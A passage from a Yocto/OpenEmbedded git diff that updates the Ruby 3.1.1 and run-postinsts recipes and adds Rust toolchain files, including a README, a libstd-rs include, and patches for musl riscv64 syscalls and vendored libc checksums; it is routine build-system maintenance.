- test_case_rb=`grep rubygems/test_case.rb ${B}/.installed.list`
- sed -i -e 's:../../../test/:../../../ptest/test/:g' ${D}/$test_case_rb
-}
-
-PACKAGES =+ "${PN}-ri-docs ${PN}-rdoc"
-
-SUMMARY_${PN}-ri-docs = "ri (Ruby Interactive) documentation for the Ruby standard library"
-RDEPENDS_${PN}-ri-docs = "${PN}"
-FILES_${PN}-ri-docs += "${datadir}/ri"
-
-SUMMARY_${PN}-rdoc = "RDoc documentation generator from Ruby source"
-RDEPENDS_${PN}-rdoc = "${PN}"
-FILES_${PN}-rdoc += "${libdir}/ruby/*/rdoc ${bindir}/rdoc"
-
-FILES_${PN} += "${datadir}/rubygems"
-
-FILES_${PN}-ptest_append_class-target = "\
- ${libdir}/ruby/include \
- ${libdir}/ruby/${SHRT_VER}.0/*/-test- \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/ruby/ruby_3.1.1.bb b/meta/recipes-devtools/ruby/ruby_3.1.1.bb
new file mode 100644
index 0000000000..d8fddfa520
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby_3.1.1.bb
@@ -0,0 +1,107 @@
+require ruby.inc
+
+DEPENDS:append:libc-musl = " libucontext"
+
+SRC_URI += " \
+ file://remove_has_include_macros.patch \
+ file://run-ptest \
+ file://0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch \
+ file://0002-template-Makefile.in-filter-out-f-prefix-map.patch \
+ file://0003-rdoc-build-reproducible-documentation.patch \
+ file://0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch \
+ file://0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch \
+ file://0006-Make-gemspecs-reproducible.patch \
+ file://0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch \
+ "
+
+SRC_URI[sha256sum] = "fe6e4782de97443978ddba8ba4be38d222aa24dc3e3f02a6a8e7701c0eeb619d"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG += "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+
+PACKAGECONFIG[valgrind] = "--with-valgrind=yes, --with-valgrind=no, valgrind"
+PACKAGECONFIG[gmp] = "--with-gmp=yes, --with-gmp=no, gmp"
+PACKAGECONFIG[ipv6] = "--enable-ipv6, --disable-ipv6,"
+# rdoc is off by default due to non-reproducibility reported in
+# https://bugs.ruby-lang.org/issues/18456
+PACKAGECONFIG[rdoc] = "--enable-install-rdoc,--disable-install-rdoc,"
+
+EXTRA_OECONF = "\
+ --disable-versioned-paths \
+ --disable-rpath \
+ --disable-dtrace \
+ --enable-shared \
+ --enable-load-relative \
+ --with-pkg-config=pkg-config \
+ --with-static-linked-ext \
+"
+
+EXTRA_OECONF:append:libc-musl = "\
+ ac_cv_func_isnan=yes \
+ ac_cv_func_isinf=yes \
+"
+
+PARALLEL_MAKEINST = ""
+
+do_install:append:class-target () {
+ # Find out rbconfig.rb from .installed.list
+ rbconfig_rb=`grep rbconfig.rb ${B}/.installed.list`
+ # Remove build host directories
+ sed -i -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
+ -e s:'--with-libtool-sysroot=${STAGING_DIR_TARGET}'::g \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ ${D}$rbconfig_rb
+
+ sed -i -e 's|${DEBUG_PREFIX_MAP}||g' \
+ ${D}${libdir}/pkgconfig/*.pc
+
+ # logs that may contain host-specific paths
+ find ${D} -name gem_make.out -delete
+}
+
+do_install_ptest () {
+ cp -rf ${S}/test ${D}${PTEST_PATH}/
+
+ install -D ${S}/tool/test/runner.rb ${D}${PTEST_PATH}/tool/test/runner.rb
+ cp -r ${S}/tool/lib ${D}${PTEST_PATH}/tool/
+ mkdir -p ${D}${PTEST_PATH}/lib
+ cp -r ${S}/lib/did_you_mean ${S}/lib/rdoc ${D}${PTEST_PATH}/lib
+
+ # install test-binaries
+ # These .so files have sporadic reproducibility fails as seen here:
+ # https://autobuilder.yocto.io/pub/repro-fail/oe-reproducible-20220107-rm1diuww/packages/diff-html/
+ # As they are needed only in ruby-ptest, and that is currently altogether disabled, let's take them out.
+ # If someone wants to look at where the non-determinism comes from, one possible reason is use of
+ # -rdynamic -Wl,-export-dynamic
+ #find $(find ./.ext -path '*/-test-') -name '*.so' -print0 \
+ # | tar --no-recursion --null -T - --no-same-owner --preserve-permissions -cf - \
+ # | tar -C ${D}${libdir}/ruby/${SHRT_VER}.0/ --no-same-owner --preserve-permissions --strip-components=2 -xf -
+ # adjust path to not assume build directory layout
+ sed -e 's|File.expand_path(.*\.\./bin/erb[^)]*|File.expand_path("${bindir}/erb"|g' \
+ -i ${D}${PTEST_PATH}/test/erb/test_erb_command.rb
+
+ cp -r ${S}/include ${D}/${libdir}/ruby/
+}
+
+PACKAGES =+ "${PN}-ri-docs ${PN}-rdoc"
+
+SUMMARY:${PN}-ri-docs = "ri (Ruby Interactive) documentation for the Ruby standard library"
+RDEPENDS:${PN}-ri-docs = "${PN}"
+FILES:${PN}-ri-docs += "${datadir}/ri"
+
+SUMMARY:${PN}-rdoc = "RDoc documentation generator from Ruby source"
+RDEPENDS:${PN}-rdoc = "${PN}"
+FILES:${PN}-rdoc += "${libdir}/ruby/*/rdoc ${bindir}/rdoc"
+
+FILES:${PN} += "${datadir}/rubygems"
+
+FILES:${PN}-ptest:append:class-target = "\
+ ${libdir}/ruby/include \
+ ${libdir}/ruby/${SHRT_VER}.0/*/-test- \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
index f84a7e18c8..95dccb9cae 100755
--- a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts
@@ -72,12 +72,12 @@ exec_postinst_scriptlets() {
else
echo "ERROR: postinst $i failed."
[ "$POSTINST_LOGGING" = "1" ] && eval echo "ERROR: postinst $i failed." $append_log
- remove_pi_dir=0
+ remove_rcsd_link=0
fi
done
}
-remove_pi_dir=1
+remove_rcsd_link=1
if $pm_installed; then
case $pm in
"ipk")
@@ -92,9 +92,7 @@ else
exec_postinst_scriptlets
fi
-# since all postinstalls executed successfully, remove the postinstalls directory
-# and the rcS.d link
-if [ $remove_pi_dir = 1 ]; then
- rm -rf $pi_dir
+# since all postinstalls executed successfully, remove the rcS.d link
+if [ $remove_rcsd_link = 1 ]; then
remove_rcsd_link
fi
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service
index d42addf510..7f72f3388a 100644
--- a/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts.service
@@ -8,7 +8,7 @@ Before=sysinit.target
Type=oneshot
ExecStart=#SBINDIR#/run-postinsts
ExecStartPost=#BASE_BINDIR#/systemctl --no-reload disable run-postinsts.service
-RemainAfterExit=No
+RemainAfterExit=yes
TimeoutSec=0
[Install]
diff --git a/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb b/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
index 85b3fc867e..db353d607b 100644
--- a/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
+++ b/meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb
@@ -1,4 +1,5 @@
SUMMARY = "Runs postinstall scripts on first boot of the target device"
+DESCRIPTION = "${SUMMARY}"
SECTION = "devel"
PR = "r10"
LICENSE = "MIT"
@@ -15,7 +16,7 @@ inherit allarch systemd update-rc.d
INITSCRIPT_NAME = "run-postinsts"
INITSCRIPT_PARAMS = "start 99 S ."
-SYSTEMD_SERVICE_${PN} = "run-postinsts.service"
+SYSTEMD_SERVICE:${PN} = "run-postinsts.service"
do_configure() {
:
@@ -32,13 +33,13 @@ do_install() {
install -d ${D}${sysconfdir}/init.d/
install -m 0755 ${WORKDIR}/run-postinsts.init ${D}${sysconfdir}/init.d/run-postinsts
- install -d ${D}${systemd_unitdir}/system/
- install -m 0644 ${WORKDIR}/run-postinsts.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/run-postinsts.service ${D}${systemd_system_unitdir}/
sed -i -e 's:#SYSCONFDIR#:${sysconfdir}:g' \
-e 's:#SBINDIR#:${sbindir}:g' \
-e 's:#BASE_BINDIR#:${base_bindir}:g' \
-e 's:#LOCALSTATEDIR#:${localstatedir}:g' \
${D}${sbindir}/run-postinsts \
- ${D}${systemd_unitdir}/system/run-postinsts.service
+ ${D}${systemd_system_unitdir}/run-postinsts.service
}
diff --git a/meta/recipes-devtools/rust/README-rust.md b/meta/recipes-devtools/rust/README-rust.md
new file mode 100644
index 0000000000..b87637c3b0
--- /dev/null
+++ b/meta/recipes-devtools/rust/README-rust.md
@@ -0,0 +1,58 @@
+## Introduction
+
+This provides the Rust compiler, tools for building packages (cargo), and
+a few example projects.
+
+## What works:
+
+ - Building `rust-native` and `cargo-native`
+ - Building Rust based projects with Cargo for the TARGET
+ - e.g. `rustfmt` which is used by the CI system
+ - `-buildsdk` and `-crosssdk` packages
+
+## What doesn't:
+
+ - Using anything but x86_64 or arm64 as the build environment
+ - rust (built for target) [issue #81](https://github.com/meta-rust/meta-rust/issues/81)
+
+## What's untested:
+
+ - cargo (built for target)
+
+## Building a rust package
+
+When building a rust package in bitbake, it's usually easiest to build with
+cargo using cargo.bbclass. If the package already has a Cargo.toml file (most
+rust packages do), then it's especially easy. Otherwise you should probably
+get the code building in cargo first.
+
+Once your package builds in cargo, you can use
+[cargo-bitbake](https://github.com/cardoe/cargo-bitbake) to generate a bitbake
+recipe for it. This allows bitbake to fetch all the necessary dependent
+crates, as well as a pegged version of the crates.io index, to ensure maximum
+reproducibility. Once the Rust SDK support is added to oe-core, cargo-bitbake
+may also be added to the SDK.
+
+NOTE: You will have to edit the generated recipe based on the comments
+contained within it
+
+## TODO
+
+## Pitfalls
+
+ - TARGET_SYS _must_ be different from BUILD_SYS. This is due to the way Rust configuration options are tracked for different targets. This is the reason we use the Yocto triples instead of the native Rust triples. See rust-lang/cargo#3349.
+
+## Dependencies
+
+On the host:
+ - Any `-sys` packages your project might need must have RDEPENDs for
+ the native library.
+
+On the target:
+ - Any `-sys` packages your project might need must have RDEPENDs for
+ the native library.
+
+## Copyright
+
+MIT OR Apache-2.0 - Same as rust
+
diff --git a/meta/recipes-devtools/rust/libstd-rs.inc b/meta/recipes-devtools/rust/libstd-rs.inc
new file mode 100644
index 0000000000..987956344a
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs.inc
@@ -0,0 +1,40 @@
+SUMMARY = "Rust standard libaries"
+HOMEPAGE = "http://www.rust-lang.org"
+SECTION = "devel"
+LICENSE = "MIT | Apache-2.0"
+LIC_FILES_CHKSUM = "file://../../COPYRIGHT;md5=93a95682d51b4cb0a633a97046940ef0"
+
+RUSTLIB_DEP = ""
+inherit cargo
+
+DEPENDS:append:libc-musl = " libunwind"
+# rv32 does not have libunwind ported yet
+DEPENDS:remove:riscv32 = "libunwind"
+DEPENDS:remove:riscv64 = "libunwind"
+
+# Embed bitcode in order to allow compiling both with and without LTO
+RUSTFLAGS += "-Cembed-bitcode=yes"
+# Needed so cargo can find libbacktrace
+RUSTFLAGS += "-L ${STAGING_LIBDIR} -C link-arg=-Wl,-soname,libstd.so"
+
+S = "${RUSTSRC}/src/libstd"
+
+CARGO_FEATURES ?= "panic-unwind backtrace"
+CARGO_BUILD_FLAGS += "--features '${CARGO_FEATURES}'"
+CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
+
+do_compile:prepend () {
+ export CARGO_TARGET_DIR="${B}"
+ # For Rust 1.13.0 and newer
+ export RUSTC_BOOTSTRAP="1"
+}
+
+do_install () {
+ mkdir -p ${D}${rustlibdir}
+
+ # With the incremental build support added in 1.24, the libstd deps directory also includes dependency
+ # files that get installed. Those are really only needed to incrementally rebuild the libstd library
+ # itself and don't need to be installed.
+ rm -f ${B}/${TARGET_SYS}/${BUILD_DIR}/deps/*.d
+ cp ${B}/${TARGET_SYS}/${BUILD_DIR}/deps/* ${D}${rustlibdir}
+}
diff --git a/meta/recipes-devtools/rust/libstd-rs/0001-Add-400-series-syscalls-to-musl-riscv64-definitions.patch b/meta/recipes-devtools/rust/libstd-rs/0001-Add-400-series-syscalls-to-musl-riscv64-definitions.patch
new file mode 100644
index 0000000000..5b330b85a6
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs/0001-Add-400-series-syscalls-to-musl-riscv64-definitions.patch
@@ -0,0 +1,44 @@
+From 7b3bc1de0c79a1b410105ce36bbe9f774438d263 Mon Sep 17 00:00:00 2001
+From: Ross Schulman <ross@rbs.io>
+Date: Tue, 1 Feb 2022 09:13:16 -0500
+Subject: [PATCH] Add 400-series syscalls to musl riscv64 definitions
+
+Upstream-Status: Backport [https://github.com/rust-lang/libc/commit/7b3bc1de0c79a1b410105ce36bbe9f774438d263]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ .../linux_like/linux/musl/b64/riscv64/mod.rs | 19 +++++++++++++++++++
+ 1 file changed, 19 insertions(+)
+
+diff --git a/vendor/libc-0.2.108/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs b/vendor/libc-0.2.108/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+index 6b17621c7..2036583d5 100644
+--- a/vendor/libc-0.2.108/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
++++ b/vendor/libc-0.2.108/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+@@ -465,6 +465,25 @@ pub const SYS_pkey_mprotect: ::c_long = 288;
+ pub const SYS_pkey_alloc: ::c_long = 289;
+ pub const SYS_pkey_free: ::c_long = 290;
+ pub const SYS_statx: ::c_long = 291;
++pub const SYS_pidfd_send_signal: ::c_long = 424;
++pub const SYS_io_uring_setup: ::c_long = 425;
++pub const SYS_io_uring_enter: ::c_long = 426;
++pub const SYS_io_uring_register: ::c_long = 427;
++pub const SYS_open_tree: ::c_long = 428;
++pub const SYS_move_mount: ::c_long = 429;
++pub const SYS_fsopen: ::c_long = 430;
++pub const SYS_fsconfig: ::c_long = 431;
++pub const SYS_fsmount: ::c_long = 432;
++pub const SYS_fspick: ::c_long = 433;
++pub const SYS_pidfd_open: ::c_long = 434;
++pub const SYS_clone3: ::c_long = 435;
++pub const SYS_close_range: ::c_long = 436;
++pub const SYS_openat2: ::c_long = 437;
++pub const SYS_pidfd_getfd: ::c_long = 438;
++pub const SYS_faccessat2: ::c_long = 439;
++pub const SYS_process_madvise: ::c_long = 440;
++pub const SYS_epoll_pwait2: ::c_long = 441;
++pub const SYS_mount_setattr: ::c_long = 442;
+
+ pub const O_APPEND: ::c_int = 1024;
+ pub const O_DIRECT: ::c_int = 0x4000;
+--
+2.35.1
+
diff --git a/meta/recipes-devtools/rust/libstd-rs/0001-Update-checksums-for-modified-vendored-libc.patch b/meta/recipes-devtools/rust/libstd-rs/0001-Update-checksums-for-modified-vendored-libc.patch
new file mode 100644
index 0000000000..33071ccdf1
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs/0001-Update-checksums-for-modified-vendored-libc.patch
@@ -0,0 +1,23 @@
+From 7d16c193959f306b50978b415cc3718029c0d8d5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 14 Mar 2022 11:06:39 -0700
+Subject: [PATCH] Update checksums for modified vendored libc
+
+Upstream-Status: Inappropriate [Relevant until backported patch is needed]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ vendor/libc-0.2.108/.cargo-checksum.json | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/vendor/libc-0.2.108/.cargo-checksum.json b/vendor/libc-0.2.108/.cargo-checksum.json
+index 6b976e48a..a6906588e 100644
+--- a/vendor/libc-0.2.108/.cargo-checksum.json
++++ b/vendor/libc-0.2.108/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"CONTRIBUTING.md":"752eea5a703d11b485c6b5f195f51bd2c79aa5159b619ce09555c779e1fb586b","Cargo.toml":"b9b717fb9711be557a118b14d96536014cfa6a8e877ca7efc50d8c2a0bab3e50","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"a8d47ff51ca256f56a8932dba07660672dbfe3004257ca8de708aac1415937a1","README.md":"8228847944f1332882fbb00275b6f30e4a8aad08a13569c25d52cac012cc2a47","build.rs":"0a4edcc040533d370a2a736f2e218516182471e8b0d9ed5dc2a6c08d5d852a83","rustfmt.toml":"eaa2ea84fc1ba0359b77680804903e07bb38d257ab11986b95b158e460f787b2","src/fixed_width_ints.rs":"34c60f12ec5eeb90f13ec3b954427532111c2446e69617616a97aefc1086a9f1","src/fuchsia/aarch64.rs":"378776a9e40766154a54c94c2a7b4675b5c302a38e6e42da99e67bfbaee60e56","src/fuchsia/align.rs":"ae1cf8f011a99737eabeb14ffff768e60f13b13363d7646744dbb0f443dab3d6","src/fuchsia/mod.rs":"520300ff260d377930f2f456135ec9a3ac7740a949ce7bf5269c0dc60d56c0df","src/fuchsia/no_align.rs":"303f3f1b255e0088b5715094353cf00476131d8e94e6aebb3f469557771c8b8a","src/fuchsia/x86_64.rs":"93a3632b5cf67d2a6bcb7dc0a558605252d5fe689e0f38d8aa2ec5852255ac87","src/hermit/aarch64.rs":"86048676e335944c37a63d0083d0f368ae10ceccefeed9debb3bbe08777fc682","src/hermit/mod.rs":"d3bfce41e4463d4be8020a2d063c9bfa8b665f45f1cc6cbf3163f5d01e7cb21f","src/hermit/x86_64.rs":"ab832b7524e5fb15c49ff7431165ab1a37dc4667ae0b58e8306f4c539bfa110c","src/lib.rs":"adc4f6af60e57eadc01042ec4312bd592fa3002850b8c70740bfd95ddd2d77fb","src/macros.rs":"148cf62f43a1732a8f37c5e7c9673e51b69cee124c27ee9883c94d2da8edff20","src/psp.rs":"dd31aabd46171d474ec5828372e28588935120e7355c90c105360d8fa9264c1c","src/sgx.rs":"16a95cdefc81c5ee00d8353a60db363c4cc3e0f75abcd5d0144723f2a306ed1b","src/solid/aarch64.rs":"8cdae0cc37c43dabd4253a534e700bec6b6a57293c0c8e36c9ce16675d16799a","src/solid/arm.rs":"852b58a0837fde089cb9b5af131bf653daeb8c726f7540032756db8b7d4f8149","src/solid/mod.rs":"98dc29c3e5773318ba258a4a2b7407f25aa52d40885a0024fbe43676fe54d14b","src/switch.rs":"9da3dd39b3de45a7928789926e8572d00e1e11a39e6f7289a1349aadce90edba","src/unix/align.rs":"2cdc7c826ef7ae61f5171c5ae8c445a743d86f1a7f2d9d7e4ceeec56d6874f65","src/unix/bsd/apple/b32/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b32/mod.rs":"2546ad3eb6aecb95f916648bc63264117c92b4b4859532b34cb011e4c75a5a72","src/unix/bsd/apple/b64/aarch64/align.rs":"f0c321265dd7671f16106b84951ac7dd77ed2e65c6623cbf2d29e76531984770","src/unix/bsd/apple/b64/aarch64/mod.rs":"44c217a4f263afe7a97435de9323d20a96c37836f899ca0925306d4b7e073c27","src/unix/bsd/apple/b64/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b64/mod.rs":"f5e278a1af7fb358891d1c9be4eb7e815aaca0c5cb738d0c3604ba2208a856f7","src/unix/bsd/apple/b64/x86_64/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b64/x86_64/mod.rs":"8c87c5855038aae5d433c8f5eb3b29b0a175879a0245342b3bfd83bdf4cfd936","src/unix/bsd/apple/mod.rs":"490002f64087a48628aa8c5cf74460df0d45ea743c00fee920f2db4adc78688f","src/unix/bsd/freebsdlike/dragonfly/errno.rs":"8295b8bb0dfd38d2cdb4d9192cdeeb534cc6c3b208170e64615fa3e0edb3e578","src/unix/bsd/freebsdlike/dragonfly/mod.rs":"6c70759e7fc945e8eedf2657ff58b1f1ce76bf1357b3d4b94b60852b8dc43bd9","src/unix/bsd/freebsdlike/freebsd/aarch64.rs":"2a215bd6136b8617aacedf9be738ccee94da9d29b418e9a78101d6291c182352","src/unix/bsd/freebsdlike/freebsd/arm.rs":"59d6a670eea562fb87686e243e0a84603d29a2028a3d4b3f99ccc01bd04d2f47","src/unix/bsd/freebsdlike/freebsd/freebsd11/b64.rs":"9808d152c1196aa647f1b0f0cf84dac8c930da7d7f897a44975545e3d9d17681","src/unix/bsd/freebsdlike/freebsd/freebsd11/mod.rs":"8c45b3c623512b996f116e96a5041fa8d6018f737bd5eea6c93e986ed4c46ecf","src/unix/bsd/freebsdlike/freebsd/freebsd12/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd12/mod.rs":"684f692968eb1f285d69daec15837257088408bdb016f6130b6c0bbfcd867c72","src/unix/bsd/freebsdlike/freebsd/freebsd12/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/freebsd13/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd13/mod.rs":"e7102c14ffa535958751785b26d5320f5ceb7e568ecedad8a6aefa2f7d95463a","src/unix/bsd/freebsdlike/freebsd/freebsd13/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/freebsd14/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd14/mod.rs":"f33c5b22f11d15effdcb8a9723c8f56164b630a1d4a4bc387ac6e413e623a4e4","src/unix/bsd/freebsdlike/freebsd/freebsd14/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/mod.rs":"c075711f7b9f06fe48ac222c8472c2cb2f5818b64cf523dc675efa2861823510","src/unix/bsd/freebsdlike/freebsd/powerpc.rs":"9ca3f82f88974e6db5569f2d76a5a3749b248a31747a6c0da5820492bdfeca42","src/unix/bsd/freebsdlike/freebsd/powerpc64.rs":"2dae3ecc87eac3b11657aa98915def55fc4b5c0de11fe26aae23329a54628a9a","src/unix/bsd/freebsdlike/freebsd/x86.rs":"c5005e3249eb7c93cfbac72a9e9272320d80ce7983da990ceb05a447f59a02c5","src/unix/bsd/freebsdlike/freebsd/x86_64/align.rs":"0e1f69a88fca1c32874b1daf5db3d446fefbe518dca497f096cc9168c39dde70","src/unix/bsd/freebsdlike/freebsd/x86_64/mod.rs":"c3a0111252e201c172b99e7d9cbee4cf088d3dd47995110e819f04276bccd198","src/unix/bsd/freebsdlike/mod.rs":"d0569c1a6261fb39ad80bae3b55ffc2900a6d80ee52d28276ba58048ccb8d3d8","src/unix/bsd/mod.rs":"2fed08973739d7f6a7412b204724af64b1a915c712689c250cf9a08263ba05ff","src/unix/bsd/netbsdlike/mod.rs":"07b97b75fa72215b54c9869f50eee3167ea835fd674cf3fa036bdbd6904c563b","src/unix/bsd/netbsdlike/netbsd/aarch64.rs":"65dcb58d11e8d8028401a9d07ca3eb4cb4f053e04249cc877353449d84ccc4cb","src/unix/bsd/netbsdlike/netbsd/arm.rs":"58cdbb70b0d6f536551f0f3bb3725d2d75c4690db12c26c034e7d6ec4a924452","src/unix/bsd/netbsdlike/netbsd/mod.rs":"ddbdc8526a0267ffeb0ab9bb5f01ebb38a14cf759c025b5c0b0ff1178fec889b","src/unix/bsd/netbsdlike/netbsd/powerpc.rs":"ee7ff5d89d0ed22f531237b5059aa669df93a3b5c489fa641465ace8d405bf41","src/unix/bsd/netbsdlike/netbsd/sparc64.rs":"9489f4b3e4566f43bb12dfb92238960613dac7f6a45cc13068a8d152b902d7d9","src/unix/bsd/netbsdlike/netbsd/x86.rs":"20692320e36bfe028d1a34d16fe12ca77aa909cb02bda167376f98f1a09aefe7","src/unix/bsd/netbsdlike/netbsd/x86_64.rs":"1afe5ef46b14397cdd68664b5b232e4f5b035b6db1d4cf411c899d51ebca9f30","src/unix/bsd/netbsdlike/openbsd/aarch64.rs":"dd91931d373b7ecaf6e2de25adadee10d16fa9b12c2cbacdff3eb291e1ba36af","src/unix/bsd/netbsdlike/openbsd/mod.rs":"52f1487bea76ecc82c6f781081b4bedd7a8a986e18872d2ebcd09c7b6db4a890","src/unix/bsd/netbsdlike/openbsd/sparc64.rs":"d04fd287afbaa2c5df9d48c94e8374a532a3ba491b424ddf018270c7312f4085","src/unix/bsd/netbsdlike/openbsd/x86.rs":"6f7f5c4fde2a2259eb547890cbd86570cea04ef85347d7569e94e679448bec87","src/unix/bsd/netbsdlike/openbsd/x86_64.rs":"d31db31630289c85af3339dbe357998a21ca584cbae31607448fe2cf7675a4e1","src/unix/haiku/b32.rs":"a2efdbf7158a6da341e1db9176b0ab193ba88b449616239ed95dced11f54d87b","src/unix/haiku/b64.rs":"ff8115367d3d7d354f792d6176dfaaa26353f57056197b563bf4681f91ff7985","src/unix/haiku/mod.rs":"aadfb394c0025b5fa7247ca9d5933edd121efa9b27f5c6a32c91c38cc60fa255","src/unix/haiku/native.rs":"44855f52906f607de137fc4baa8c6b1b9a26baaa666f25d5f7a7ec5e017c8be6","src/unix/haiku/x86_64.rs":"3ec3aeeb7ed208b8916f3e32d42bfd085ff5e16936a1a35d9a52789f043b7237","src/unix/hermit/aarch64.rs":"86048676e335944c37a63d0083d0f368ae10ceccefeed9debb3bbe08777fc682","src/unix/hermit/mod.rs":"859814f5df89e28fd4b345db399d181e11e7ed413841b6ff703a1fcbdbf013ae","src/unix/hermit/x86_64.rs":"ab832b7524e5fb15c49ff7431165ab1a37dc4667ae0b58e8306f4c539bfa110c","src/unix/linux_like/android/b32/arm.rs":"433c1530f602cc5ed26610c58055dde0c4ceea5e00150063b24ddc60768332a4","src/unix/linux_like/android/b32/mod.rs":"d971b98530a96f5892f98e1edc3133cf278d1b3939d77ab0a27a6323e0961715","src/unix/linux_like/android/b32/x86/align.rs":"812914e4241df82e32b12375ca3374615dc3a4bdd4cf31f0423c5815320c0dab","src/unix/linux_like/android/b32/x86/mod.rs":"8388bd3a0fcb5636bf965eee6dc95ae6860b85a2b555b387c868aa4d4e01ec89","src/unix/linux_like/android/b64/aarch64/align.rs":"2179c3b1608fa4bf68840482bfc2b2fa3ee2faf6fcae3770f9e505cddca35c7b","src/unix/linux_like/android/b64/aarch64/mod.rs":"8fe667d2b14abc5ac8aad32e16c3da24350471d8156eaea9ab4989f73dd9f9fc","src/unix/linux_like/android/b64/mod.rs":"d7bbbadafdb2cb2ff8e9cde3d89a03b9facaabb6b2d45705225d3ece1c5cce37","src/unix/linux_like/android/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/android/b64/x86_64/mod.rs":"06b22dc184e85a988ab969c75cadc52b9878faeab0eb9d21215878c95fe07c19","src/unix/linux_like/android/mod.rs":"755db99ecd7598eee9c0c21656cda3e63ae2c4c952f8285b3d7095d983ee4631","src/unix/linux_like/emscripten/align.rs":"86c95cbed7a7161b1f23ee06843e7b0e2340ad92b2cb86fe2a8ef3e0e8c36216","src/unix/linux_like/emscripten/mod.rs":"b71d37106750f57bc2dae4e9bcb473ff098ef48235827e41a1687a39825f0aa4","src/unix/linux_like/emscripten/no_align.rs":"0128e4aa721a9902754828b61b5ec7d8a86619983ed1e0544a85d35b1051fad6","src/unix/linux_like/linux/align.rs":"213e70ebed2703e14a9cf17666b21ecbf180b7bff7fa22fdbb36dbbd52df326d","src/unix/linux_like/linux/arch/generic/mod.rs":"52706a1e232f0b3d4ef1c064306eb4ae312535a16635c982c2fa6d9aa957d4cd","src/unix/linux_like/linux/arch/mips/mod.rs":"2c1fbabc54efc5fb3e7ae218d0b0084281b67eceec0c62e5978e20aea8c512ef","src/unix/linux_like/linux/arch/mod.rs":"466a29622e47c6c7f1500682b2eb17f5566dd81b322cd6348f0fdd355cec593a","src/unix/linux_like/linux/arch/powerpc/mod.rs":"96f702ef5b0bae40ce3bfff58ec99fe8291b37de139890c011147f0ebc906771","src/unix/linux_like/linux/arch/sparc/mod.rs":"66c0d9590cdc88920860ac8539a59846ad83d34a207c8350fa00a027ed2e82c8","src/unix/linux_like/linux/gnu/align.rs":"e4a3c27fe20a57b8d612c34cb05bc70646edb5cec7251957315afa53a7b9f936","src/unix/linux_like/linux/gnu/b32/arm/align.rs":"3fed009dc9af3cc81be7087da9d2d7d1f39845e4497e290259c5cdbae25f039d","src/unix/linux_like/linux/gnu/b32/arm/mod.rs":"bc2272a2e7cbc160baa454c8203932d6c5f59a32c2bf3a0e0cf37057f25484cb","src/unix/linux_like/linux/gnu/b32/mips/align.rs":"429fb5e005cb7143602d430098b6ebfb7d360685b194f333dfd587472ae954ee","src/unix/linux_like/linux/gnu/b32/mips/mod.rs":"46a72f8be5fc8260a0